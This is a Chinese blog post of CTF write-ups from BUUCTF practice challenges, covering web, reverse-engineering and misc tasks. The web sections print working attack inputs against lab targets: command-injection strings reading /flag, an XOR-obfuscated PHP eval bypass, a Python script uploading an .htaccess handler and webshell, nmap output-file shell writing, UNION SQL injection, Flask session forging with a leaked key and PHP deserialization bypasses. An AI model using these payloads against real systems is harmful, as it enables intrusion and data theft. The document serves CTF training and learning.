BUUCTF-2020寒假刷题记录

BUUCTF-2020寒假刷题记录

Web

[RoarCTF 2019]Easy Calc

打开源码,看到calc.php,打开看到源码。

BUUCTF-2020寒假刷题记录_第1张图片

在 num 前面加个空格即可绕过

? num=phpinfo();
calc.php? num=print_r(scandir(chr(47)))

列出目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1JiYRIUE-1593173106930)(https://i.loli.net/2020/01/19/8HzGU3tFQPIVapD.png)]

?%20num=file_get_contents(chr(47).f1agg)

拿到flag

[RoarCTF 2019]Easy Java

这道题在开学初的时候在嘶吼做过了 2333~

POST方式请求即可下载help.docx

?filename=WEB-INF/web.xml

请求获取web.xml可以获取站点信息

发现FlagController控制器,并且可以获得class文件

/WEB-INF/classes/com/wm/ctf/FlagController.class

下载class文件后

放入luyten反编译。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hAoftnsO-1593173106932)(https://i.loli.net/2020/01/19/EcvUsPXDiqLI3om.png)]

把flag字段的base64解码即可获得flag

[SUCTF 2019]EasySQL

输入 1;show tables# 可以看到一个Flag表。

输入*,1列出所有数据

array[0]就是flag

[ISITDTU 2019]EasyPHP


highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

绕过preg_match并且字符串中使用过的不同字符次数小于13

用Tiaonmmn师傅暴力搜索的字符串列出了flag

((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

[RoarCTF 2019]Simple Upload

ThinkPHP的upload类,会对文件名进行strip_tags处理。

会去掉html标签。

抓包后后缀改为php上传即可。

[GXYCTF2019]Ping Ping Ping

?ip=127.0.0.1;ls

发现flag.php

?ip=127.0.0.1;cat flag.php

发现过滤了空格和flag

可以用$IFS代替空格

`ls`可以将返回的输出作为输入

/?ip=127.0.0.1;cat$IFS`ls`

[GXYCTF2019]禁止套娃

.git泄露得到源码。不知道为啥githack.py读取不到,用JGitHack读到了。

BUUCTF-2020寒假刷题记录_第2张图片


include "flag.php";
echo "flag在哪里呢?
"
; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>

传入字符过滤,必须为小写字符,_,()

pos(localeconv())可以获取到字符.

结合scandir可以扫描当前目录

?exp=print_r(scandir(pos(localeconv())));

BUUCTF-2020寒假刷题记录_第3张图片

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

highlight_file读到FLAG

[GXYCTF2019]BabyUpload

上传php发现

后缀名不能有ph!

可以上传.htaccess

用了师傅的exp

先上传.htaccess 内容将jpg解析成php

上传jpg 内容为 读取/flag

然后利用条件竞争读取返回页面的文件地址,去读取flag即可

import requests
url = "http://172.21.4.12:10011/"
session = requests.session()
htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd-php", 'image/jpeg')}
res_hta = session.post(url, files=htaccess)

files = {'uploaded': ('123.jpg', "", 'image/jpeg')}
res_jpg = session.post(url, files=files)

res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo file_get_contents(\'/flag\');'})

print(res_shell.text)

[HCTF 2018]admin

进去可以看到一个登陆注册,结合题目名字,应该是登陆admin的账号

先随便注册一个账号

点进修改密码,发现git源码

BUUCTF-2020寒假刷题记录_第4张图片

经过查阅,发现flask的session是可以被用户修改的,但是必须知道密钥。

发现git中有个config.py

SECRET_KEY = os.environ.get(‘SECRET_KEY’) or ‘ckj123’

根据环境获得SECRET_KEY 或者直接 设置SECRET_KEY 为 ckj123

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

我们使用 session_cookie_manager.py 来把 当前用户的session解密了。

python session_cookie_manager.py decode -c {session} -s ckj123

{'_fresh': True, '_id': b'c92213f00200a7bde69a5617628d7959b2aec3de284cfc5c52902010b4977ab962648ccc7ae49daee87ef3d2d5ff71d90dd4cee0d2a38a216ac3aa3edd1653df', 'csrf_token': b'e73db2684721d55100f86ae843408b712eee3d3a', 'image': b'HDg1', 'name': 'xmao', 'user_id': '10'}

把上面的用户名修改成admin,在放回去加密

python session_cookie_manager.py encode -s ckj123 -t {session}

得到

.eJw9kM2KwkAQhF9l6bMHE-NF8KBMDDl0h7gTw8xFXBPN_GUhKpoR330HWTz0oavgq65-wv40tJcOFtfh1k5grxpYPOHrBxYgvBlRp17q1R3DCN4omVVxUacR6XRGOk8kO86JW4VuY4UnI3meUEZO-J0mns-R5Xfka0XMzCjeqIKLkXSZiJh02C0xa0S9swVrrNRk0JWRdGKGdTnHbGsCy0q-Dnrqiywdkcsu5HSCBz0rH6QrLzOxhNcEjpfhtL_-mrb_VJD8GOw8RJ6n5POHZFWEfHWX-hyLukqI4RRZp8inowxnYFx6US7fOOUO5_ZD-k63Pf47_cEFAw6NUz1M4HZph_ffIJrC6w_Bo22Y.Xj0PIQ.Bo_R7J0qDV_7Q3EGGks6wSd6TpQ

将cookie里面的session改成上面重新加密的即可。在返回主页面就拿到了flag!

[BUUCTF 2018]Online Tool

直接给了源码,利用nmap扫描GET参数传来的ip,可以利用nmap的命令写入shell

由于过滤了单引号,所以这里要使用反引号

``先执行,然后返回给语句,在写入test.php

?host='  -oG test.php '

[极客大挑战 2019]LoveSQL

类似于sqli-lab的题目

GET报错注入

username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23

拿到了数据库名字

geekuser,l0ve1ysq1

在去爆列名

username=admin&password=admin%27%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20%23

id,username,password

username=admin&password=admin%27union%20select%201,2,group_concat(password)%20from%20l0ve1ysq1%23

在去拿密码

wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{f216f273-bea0-4532-ad91-409914ba41e4}

得到flag

[极客大挑战 2019]Upload

上传发现只能上传图片格式,Content-Type改成image/jpg后,发现php,php5类型不支持,phtml能上传。改成phtml后上传成功。cat /flag获得flag!

BUUCTF-2020寒假刷题记录_第5张图片

[ACTF2020 新生赛]Include

直接

?file=php://filter/read=convert.base64-encode/resource=flag.php

拿到flag

[ACTF2020 新生赛]Upload

前端白名单限制上传,后端黑名单限制,但是漏了一个phtml。上传shell,然后cat /flag即可拿到flag。

[ACTF2020 新生赛]Exec

输入后可以ping ip,老套路了。

直接127.0.0.1;cat /flag

[ACTF2020 新生赛]BackupFile

找备份文件,刚开始以为是www.zip或者www.tar.gz之类的

没想到是index.php.bak;

下载来之后


include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
	
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

$key被传来后转换成整型

然后和字符串"123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"对比

一样就给flag

在对比过程中 $str也会被隐性转化成整形

所以我们强制转换这串字符串得到123

echo intval("123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3");

最后?key=123即可拿到flag;

[watevrCTF-2019]Cookie Store

想买一个flag cookie,发现余额不足~

打开cookie发现session是用base64加密的,把钱改到100在加密回去。

就发现变成100了,直接买了flag!

BUUCTF-2020寒假刷题记录_第6张图片

[BSidesCF 2019]Pick Tac Toe

一道井字棋游戏,正确玩根本⑧可能赢过他,最多平手

右键查看源码发现他直接post上传你下的位置。

通过表单提交,他也会同时在你下之后立即作出反应。

但是通过ajax发送,页面并不会刷新,所以他也不会做出反应。

利用这一特点。我们连下三棋

$.post("/move",{move:"b"});
$.post("/move",{move:"br"});
$.post("/move",{move:"bl"});

在随便点个位置,即可获得flag!

[极客大挑战 2019]Http

这题很简单

按照他的要求伪造请求头即可

User-Agent: Syclover

Referer: https://www.Sycsecret.com
x-forwarded-for: localhost

[极客大挑战 2019]Secret

BUUCTF-2020寒假刷题记录_第7张图片

还挺神秘

右键查看源代码发现Archive_room.php

在右键查看源码发现action.php

直接用浏览器查看 直接就就跳转了。

利用BP查看

发现secr3t.php

开始代码审计了。


    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

直接文件包含 读到flag.php源码

[BSidesCF 2020]Hurdles

打开题目提示

You'll be rewarded with a flag if you can make it over some /hurdles.

在url结尾加上/hurdles

I'm sorry, I was expecting the PUT Method.

又提示我们用put方法发送

打开POSTMAN 用put发送后

I'm sorry, Your path would be more exciting if it ended in !

这句看了半天没看懂,翻译不太给力。

让我们在结尾加上一个!

/hurdles/!

I'm sorry, Your URL did not ask to `get` the `flag` in its query string.

加上?get=flag

I'm sorry, I was looking for a parameter named &=&=&

以raw发送,用url编码 %26%3D%26%3D%26=%2500%0A

I'm sorry, Basically, I was expecting the username player.

要以基本验证发送username: player

在postman里面用basic auth 写上用户名player

I'm sorry, Basically, I was expecting the password of the hex representation of the md5 of the string 'open sesame'

密码是md5加密后的 ‘open sesame’ 就是54ef36ec71201fdf9d1423fd26f97f6b

I'm sorry, I was expecting you to be using a 1337 Browser.

又说要1337浏览器

加一个header user-agent: 1377

I'm sorry, I was expecting your browser version (v.XXXX) to be over 9000!

还需要 1377 的版本号超过9000,格式是v.9000

user-agent: 1337 v.9000

I'm sorry, I was eXpecting this to be Forwarded-For someone!

需要X-Forwarded-For请求头,随便输入一个内容

I'm sorry, I was eXpecting this to be Forwarded For someone through another proxy!

告诉我们要代理

随便输入一个123.123.123.123,127.0.0.1

I'm sorry, I was expecting the forwarding client to be 13.37.13.37

然后把代理改成13.37.13.37

X-Forwarded-For: 13.37.13.37,127.0.0.1

I'm sorry, I expect you to accept only plain text media (MIME) type.

只接受text/plain

带上Accept: text/plain

I'm sorry, Я ожидал, что вы говорите по-русски.

出现了,俄罗斯语!

翻译了一下," 对不起,我以为你会说俄语。 "

Accept-Language: ru

I'm sorry, I was expecting to share resources with the origin https://ctf.bsidessf.net

origin: https://ctf.bsidessf.net

I'm sorry, I was expecting you would be refered by https://ctf.bsidessf.net/challenges?

Referer: https://ctf.bsidessf.net/challenges

Congratulations!

完成了,在Header的X-Ctf-Flag字段里面找到了falg

[极客大挑战 2019]PHP

www.zip 下载到备份。

index.php里面为

    
        include 'class.php';
        $select = $_GET['select'];
        $res=unserialize(@$select);
    ?>
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "
NO!!!hacker!!!
"
; echo "You name is: "; echo $this->username;echo "
"
; echo "You password is: "; echo $this->password;echo "
"
; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"
; die(); } } }
$a = new Name("admin",100);
echo serialize($a);

直接序列化出来 在反序列化,$this->username会被魔术方法__wakeup 给替换成guest

所以我们把序列化出来的payload

O:4:“Name”:2:{s:14:" Name username";s:5:“admin”;s:14:" Name password";i:100;}

2改成3 即可绕过

O:4:“Name”:3:{s:14:" Name username";s:5:“admin”;s:14:" Name password";i:100;}

并且类名和私有变量之间有空白符,但是复制的时候却变成了空格

所以在url传递payload的时候要将空格换成%00

O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}

[极客大挑战 2019]BuyFlag

打开pay.php 查看源代码

发现


然后打开cookie发现 user: 0

将user 改成 1

并且密码不能等于数字,而且要是404

所以将密码改为404%00或者404A

会进行隐式的类型转换

然后发送 说Pay for the flag!!!hacker!!!

说让我们付钱,并说我们是hacker。

然后在参数里面在加一个money

you have not enough money,loser~

又说我们无

看了别的师傅的博客说要 money[] 即可绕过!

[NCTF2019]Fake XML cookbook

常规XXE



]>
&xxe;ASD

[BSidesCF 2019]SVGMagic

利用xxe把flag渲染到svg图片里面~



]>

  &file;

[极客大挑战 2019]EasySQL

进入看到登陆界面

直接admin’ or 1=1 #

拿到flag

October 2019 Twice SQL Injection

考点为二次注入,在用户名处注入。

admindd’ or 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database() #

得到 flag 表

dmindd’ or 1=2 union select group_concat(column_name) from information_schema.columns where table_name=‘flag’ #

得到flag字段

admindd’ or 1=2 union select group_concat(flag) from flag#

爆出flag

Reverse

easyre

IDA打开,Shift+F12 查看字符串

直接看到flag

reverse1

放到x64dbg F8大法一路跑

BUUCTF-2020寒假刷题记录_第8张图片

reverse2

放到IDA分析,发现字符串一枚

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tSEnodhQ-1593173106941)(https://i.loli.net/2020/01/21/ciwbaHG8kzU4q5M.png)]
将i和r换成1

re2.png

flag{hack1ng_fo1_fun}

Misc

N种方法解决

notepad++打开,发现一段图片base64,转换后是一个二维码,扫描后得到KEY{dca57f966e4e4e31fd5b15417da63269}

你竟然赶我走

右键文件打开,没错,就在那里~

乌镇峰会种图

右键文件打开,没错,就在那里~

QR

扫码即可

[HBNIS2018]excel破解

右键文件打开搜索flag即可

你可能感兴趣的:(CTF)